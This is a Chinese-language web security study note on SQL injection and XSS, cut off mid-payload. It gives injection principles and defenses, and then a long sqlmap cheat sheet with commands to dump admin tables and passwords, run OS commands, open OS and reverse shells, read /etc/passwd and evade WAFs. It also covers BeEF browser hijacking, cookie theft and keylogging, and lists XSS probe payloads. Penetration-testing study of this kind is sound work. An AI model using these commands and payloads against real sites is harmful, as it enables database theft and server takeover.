一、SQL注入
1. 原理
SQL:结构化查询语言
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
SQL注射能使攻击者绕过认证机制,完全控制远程服务器上的数据库。
当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击;如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。
2. 不同数据库的注入 access/MySQL/Oracle
3. 注入流程
a.检测是否存在注入漏洞
b.检测后台数据库类型
url地址末尾输入 ?id=1# 回显正常则是MySQL;输入 ?id=1--+ 回显正常可能是SQL Oracle MySQL ; 以上前者正常回显,后者异常回显,表明的access;
或者根据报错内容提示看,显示ODBC和microsoft 表明是mssql; 显示ORA表明是Oracle;
或者利用如下谷歌插件直接查看;
c. 尝试sql注入
联合查询注入/布尔盲注/报错注入/时间盲注/堆叠查询注入
二次注入攻击/宽字节注入/base64注入/cookie注入/HTTP头参数注入/绝对路径的注入......
4. 如何防范?
本质上还是对用户输入数据的绝对信任,当我们对用户输入的数据绝对不信任的时候,就可以预防sql注入
a.对输入数据长度的限制
b.关键字过滤:对每个参数的传递进行检测,对其进行sql关键字过滤如(select insert where) 建议采用正则检测和递归过滤
c. 对参数携带的特殊字符进行转义和过滤:
因为好多注入点都是在字符位置发生的,如果需要进行sql注入,就要先进性闭合的符号判断(id=’$id’ 如果不进行引号的闭合,数据库就会认为用户输入的所有参数为同一个字符串,这样sql注入的参数就会被认为是无效的)这也是我们的防护手段之一建议采用正则检测和递归过滤
d.预编译防注入:预编译防注入是目前最好的,最有效的防注入手段在数据库进行预编译的之后,sql语句已经会被数据库编译和优化了,并且运行数据库以参数化的形式进行查询,即使传递来的敏感字符也不会被执行,而是被当作参数处理
e.不要直接显示出错误的原因,最好指定一个错误的页面,尤其是sql注入(即使存在注入,也要让他去盲注)
5. 使用sqlmap工具自动化注入:
sqlmap.py -u "url" # 检测是否存在注入点
sqlmap.py -u “url” –dbs # 列出所有数据库
sqlmap.py -u "url" --tables #列出数据库的表
sqlmap.py -u "url" -columns -T admin #列出admin的内容
sqlmap.py -u "url" -dump -T admin "useradmin,password" # 列出这两个字段的内容
sqlmap.py -u url –dbms “Mysql” –current-db #当前数据库
sqlmap.py -u “url” -D xxxx --tables #列出指定数据库的表
sqlmap.py -u “url” -D xxxx -T xxx --columns #列出指定表的内容
sqlmap.py -u “url” -D xxxx -T xxx -C xxx,aaa –dump #列出指定字段xxx和aaa的的内容
sqlmap.py -u “www.xxx.com/index.php” –cokies “id=7” –tables #用cookies方式列出数据库的表
sqlmap.py -u “www.xxx.com/index.php” –data “user=1&pass=1” –dbs #指定post参数注入出数据库
sqlmap.py -u “www.xxx.com/index.php” –forms sqlmap #自动查找网页上的表单,并注入
sqlmap.py -r 1.txt -p user # 用burp抓包,保存为1.txt 然后用-r参数注入,用-p参数来指定网页上的参数
运行sqlmap并使用如下命令:./sqlmap.py -r search-test.txt -p tfUPass,这里参数 -r 是让sqlmap加载我们的post请求rsearch-test.txt,而-p 大家应该比较熟悉,指定注入用的参数。 注意-p 后面的参数是否打错
sqlmap.py -u “url” –os-cmd=ipconfig # 执行ipconfig命令,必须有足够的权限
sqlmap.py -u “url” –os-shell #获得一个shell 会在网站目录下生成两个文件,一个是tmpbxbxz.php他是来运行shell的。 一个是tmpuoiuz.php他是来上传文件的
sqlmap.py –dump -D #数据库 -T 表 拖库
sqlmap.py -u #注入地址 –privileges 查看权限
sqlmap.py -g “inurl:\”.php?id=1\”” #处理Google的搜索结果
–dump -D hzk -T hk_user -C mobile -start 1 -stop 100 # 前100条数据
–user-agent “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)” -v 3 #使用自定义user-agent,或者使用随机使用自带的user-agents.txt
–smart –level3–users #smart智能level 执行测试等级
–dbms”Mysql”–users #dbms指定数据库类型
–passwords-Uroot-v0 #列出指定用户数据库密码
–dump-C”password,user,id”-T”tablename”-D”db_name”–start1–stop20 #列出指定字段,列出20条
–privileges #查看权限
–is-dba-v1 #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限!)
–dump-all–exclude-sysdbs-v0 #列出当前库所有表
–union-cols #union查询表记录
–cookie”COOKIE_VALUE” #cookie注入
-b #获取banner信息
–data”id=3″ #post注入
-v1-f #指纹判别数据库类型
–string”STRING_ON_TRUE_PAGE” #指定关键词
–sql-shel l#执行指定sql命令
–file/etc/passwd sqlmap-u”http://url/news?id=1″ –os-cmd=whoami #执行系统命令
–os-shell #系统交互
–os-pwn #反弹shell
–reg-read #读取win系统注册表
–dbs-o”sqlmap.log” #保存进度
–dbs-o”sqlmap.log”–resume #恢复已保存进度
–tamper”base64encode.py” #加载脚本(可利用绕过注入限制)
–tamper “space2morehash.py” -v 3 #SQLMap绕过WAF
–tamper “space2mssqlblank” -v 3 #Mysql 伪静态注入
二、xss跨站脚本攻击
1. 原理
xss : Cross Site Scripting 跨站脚本攻击
程序员在编写代码时,未对用户输入的数据进行处理或处理不当,导致恶意的payload进行执行,简单来说就是对用户输入数据的过分信任。
2. 分类
3. 危害
钓鱼欺骗/网站挂马/身份盗用/盗取用户cookie信息伪造用户身份/垃圾信息发送/监视用户浏览历史/xss蠕虫打广告、刷流量、恶作剧......
4. 漏洞利用
工具:beef
BeEF服务器本质上就像一个Web应用,被分为前端UI和后端。前端会轮询后端是否有新的数据需要更新,同时前端也可以向后端发送指示, BeEF持有者可以通过浏览器来登录BeEF 的后台管理UI。
过程:配置beef默认连接msf---启动msf---运行beef(127.0.0.1:3000/ui/panel)
利用:可自动默认收集信息,获取浏览器版本等信息/系统信息/用户行为/cookie信息;修改整个页面尝试社会工程学;网络扫描/浏览器劫持/网络拓扑;获取位置信息/键盘记录/IP地址/表单......
5. 产生的位置
输入输出框等位置 ,比如搜索框、输入输出栏、留言板、登录处......
6. 常用挖掘语句
<script>alert('1')</script>
<svgonload=prompt(1);>
<body onload=prompt(1);>
<a onclick=alert(1)>M
<img/src/onerror=alert(1)>
<img src=x onerror=alert('1')>
<marquee/onstart=confirm(